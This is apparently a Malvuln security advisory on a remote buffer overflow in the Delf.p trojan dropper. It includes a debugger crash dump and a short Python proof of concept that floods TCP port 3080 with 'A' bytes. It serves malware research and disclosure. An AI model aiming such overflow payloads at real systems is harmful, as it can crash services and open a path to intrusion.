Discovery / credits: Malvuln - malvuln.com (c) 2021 Original source: https://malvuln.com/advisory/b02cc578d2e7f24fb67ec0afc42a9e13_B.txt Contact: malvuln13@gmail.com Media: twitter.com/malvuln Threat: Trojan-Dropper.Win32.Delf.p Vulnerability: Remote Buffer Overflow Description: Delf.p accepts connections on various TCP/UDP ports. Attackers who can reach TCP port 3080 can send a specially crafted packet to trigger a buffer overflow corrupting the stack overwriting ECX register. Type: PE32 MD5: b02cc578d2e7f24fb67ec0afc42a9e13 Vuln ID: MVID-2021-0133 Dropped files: mmtask.exe ASLR: False DEP: False Safe SEH: True Disclosure: 03/16/2021 Memory Dump: (b7c.f00): Access violation - code c0000005 (first/second chance not available) eax=00000000 ebx=00000000 ecx=41414135 edx=00000008 esi=00000003 edi=00000003 eip=7710ed3c esp=0580f56c ebp=0580f6fc iopl=0 nv up ei pl nz na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000206 ntdll!ZwWaitForMultipleObjects+0xc: 7710ed3c c21400 ret 14h 0:012> .ecxr eax=ffffffff ebx=04408440 ecx=41414135 edx=00000008 esi=04e4b09d edi=04e40048 eip=761972cb esp=0580fe8c ebp=0580fe8c iopl=0 nv up ei ng nz na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010286 kernel32!InterlockedDecrementStub+0xb: 761972cb f00fc101 lock xadd dword ptr [ecx],eax ds:002b:41414135=???????? *** WARNING: Unable to verify timestamp for mmtask.exe *** ERROR: Module load completed but symbols could not be loaded for mmtask.exe 0:012> !analyze -v ******************************************************************************* * * * Exception Analysis * * * ******************************************************************************* Failed calling InternetOpenUrl, GLE=12029 FAULTING_IP: kernel32!InterlockedDecrementStub+b 761972cb f00fc101 lock xadd dword ptr [ecx],eax EXCEPTION_RECORD: ffffffff -- (.exr 0xffffffffffffffff) ExceptionAddress: 761972cb (kernel32!InterlockedDecrementStub+0x0000000b) ExceptionCode: c0000005 (Access violation) ExceptionFlags: 00000000 NumberParameters: 2 Parameter[0]: 00000001 Parameter[1]: 41414135 Attempt to write to address 41414135 PROCESS_NAME: mmtask.exe ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s. EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s. EXCEPTION_PARAMETER1: 00000001 EXCEPTION_PARAMETER2: 41414135 WRITE_ADDRESS: 41414135 FOLLOWUP_IP: mmtask+99891 00499891 85c0 test eax,eax MOD_LIST: <ANALYSIS/> NTGLOBALFLAG: 0 APPLICATION_VERIFIER_FLAGS: 0 FAULTING_THREAD: 00000f00 BUGCHECK_STR: APPLICATION_FAULT_STRING_DEREFERENCE_INVALID_POINTER_WRITE_EXPLOITABLE_FILL_PATTERN_ffffffff PRIMARY_PROBLEM_CLASS: STRING_DEREFERENCE_EXPLOITABLE_FILL_PATTERN_ffffffff DEFAULT_BUCKET_ID: STRING_DEREFERENCE_EXPLOITABLE_FILL_PATTERN_ffffffff LAST_CONTROL_TRANSFER: from 00499891 to 761972cb STACK_TEXT: 0580fe8c 00499891 41414135 04e40048 00410098 kernel32!InterlockedDecrementStub+0xb WARNING: Stack unwind information not available. Following frames may be wrong. 0580feb0 0040fca8 025191c8 00498a85 00000001 mmtask+0x99891 0580ff4c 00485c89 051bfb0c 00485c20 00485c20 mmtask+0xfca8 0580ff80 76198654 04408440 76198630 e41feed3 mmtask+0x85c89 0580ff94 77104a77 04408440 9dc38a17 00000000 kernel32!BaseThreadInitThunk+0x24 0580ffdc 77104a47 ffffffff 77129ed9 00000000 ntdll!__RtlUserThreadStart+0x2f 0580ffec 00000000 00485c20 04408440 00000000 ntdll!_RtlUserThreadStart+0x1b SYMBOL_STACK_INDEX: 1 SYMBOL_NAME: mmtask+99891 FOLLOWUP_NAME: MachineOwner MODULE_NAME: mmtask IMAGE_NAME: mmtask.exe DEBUG_FLR_IMAGE_TIMESTAMP: 367709e4 STACK_COMMAND: ~12s; .ecxr ; kb FAILURE_BUCKET_ID: STRING_DEREFERENCE_EXPLOITABLE_FILL_PATTERN_ffffffff_c0000005_mmtask.exe!Unknown BUCKET_ID: APPLICATION_FAULT_STRING_DEREFERENCE_INVALID_POINTER_WRITE_EXPLOITABLE_FILL_PATTERN_ffffffff_mmtask+99891 Exploit/PoC: from socket import * MALWARE_HOST="x.x.x.x" PORT=3080 def doit(): s=socket(AF_INET, SOCK_STREAM) s.connect((MALWARE_HOST, PORT)) dirty0tis_made_me_do_it="A"*1064 s.send(dirty0tis_made_me_do_it) s.close() print("Trojan-Dropper.Win32.Delf.p / Remote Buffer Overflow") print("MD5: b02cc578d2e7f24fb67ec0afc42a9e13") print("By Malvuln") if __name__=="__main__": doit() Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. 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